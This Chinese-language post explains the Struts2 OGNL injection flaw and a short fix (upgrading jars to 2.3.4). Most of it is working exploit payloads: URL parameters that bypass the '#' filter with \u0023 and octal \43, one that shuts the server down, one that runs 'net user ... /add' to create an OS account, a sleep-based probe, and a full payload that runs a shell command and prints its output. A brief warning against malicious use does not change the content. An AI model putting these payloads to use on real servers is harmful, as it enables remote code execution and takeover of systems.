关于struts2漏洞问题及解决
1、原理
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。 当我们提交一个http参数:
?user。address。city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action。getUser()。 getAddress()。setCity("Bishkek")
action。getUser()。setFavoriteDrink("kumys")
这是通过ParametersI...全部
1、原理
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。
当我们提交一个http参数:
?user。address。city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action。getUser()。
getAddress()。setCity("Bishkek")
action。getUser()。setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack。
setValue()。 www。2cto。com
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork。
MethodAccessor。denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java。lang。Boolean("false")))&(asdf)(('\u0023rt。
exit(1)')(\u0023rt\u003d@java。lang。Runtime@getRuntime()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork。
MethodAccessor。denyMethodExecution']=#foo')(#foo=new%20java。lang。Boolean("false")))&(asdf)(('#rt。
exit(1)')(#rt=@java。lang。Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
java。lang。Runtime。getRuntime()。
exit(1); //关闭程序,即将web程序关闭
类似的可以执行
java。lang。Runtime。getRuntime()。exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。
2、解决方法
网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2。3。4
下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:
commons-lang3-3。
1。jar (保留commons-lang-2。6。jar)
javassist-3。11。0。GA。jar (新加包)
ognl-3。0。5。jar (替换旧版本)
struts2-core-2。
3。4。1。jar (替换旧版本)
xwork-core-2。3。4。1。jar (替换旧版本)
以POST的方式提交绕过对输入参数的部分过滤。
('\43_memberAccess。
allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork。MethodAccessor。denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess。
excludeProperties\75@java。util。Collections@EMPTY_SET')(c))&(d)(('@java。lang。Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime()。exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
实现交互的shell。
('\43_memberAccess。allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork。MethodAccessor。
denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess。excludeProperties\75@java。util。
Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java。lang。
Runtime@getRuntime()。exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java。io。DataInputStream(\43myret。
getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat。readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java。
lang。String(\43myres)')(d))&(m)(('\43myout\75@org。apache。struts2。ServletActionContext@getResponse()')(d))&(n)(('\43myout。
getWriter()。println(\43mystr)')(d))
\75 (=的8进制)\40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。
这样上面就是
1。设置上下文denyMethodExecution=false 运行方法执行
2。excludeProperties=@java。util。Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3。
mycmd=“ls -l” 定义我们的执行命令的变量
4。myret=@java。lang。Runtime@getRuntime()。exec(\43mycmd)') (调用静态方法执行我们的变量)
5。
mydat=new java。io。DataInputStream(\43myret。getInputStream())') 获取输入流 (post)
6。myres=new data[51020];mydat。
readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7。mystr=new java。lang。String(#myres) ;定义并赋值输入流
8。myout=org。
apache。struts2。ServletActionContext@getResponse() ;得到repsonse的数据
9。myout。getWriter()。println(#mystr) ;把response的数据打印到屏幕上。
收起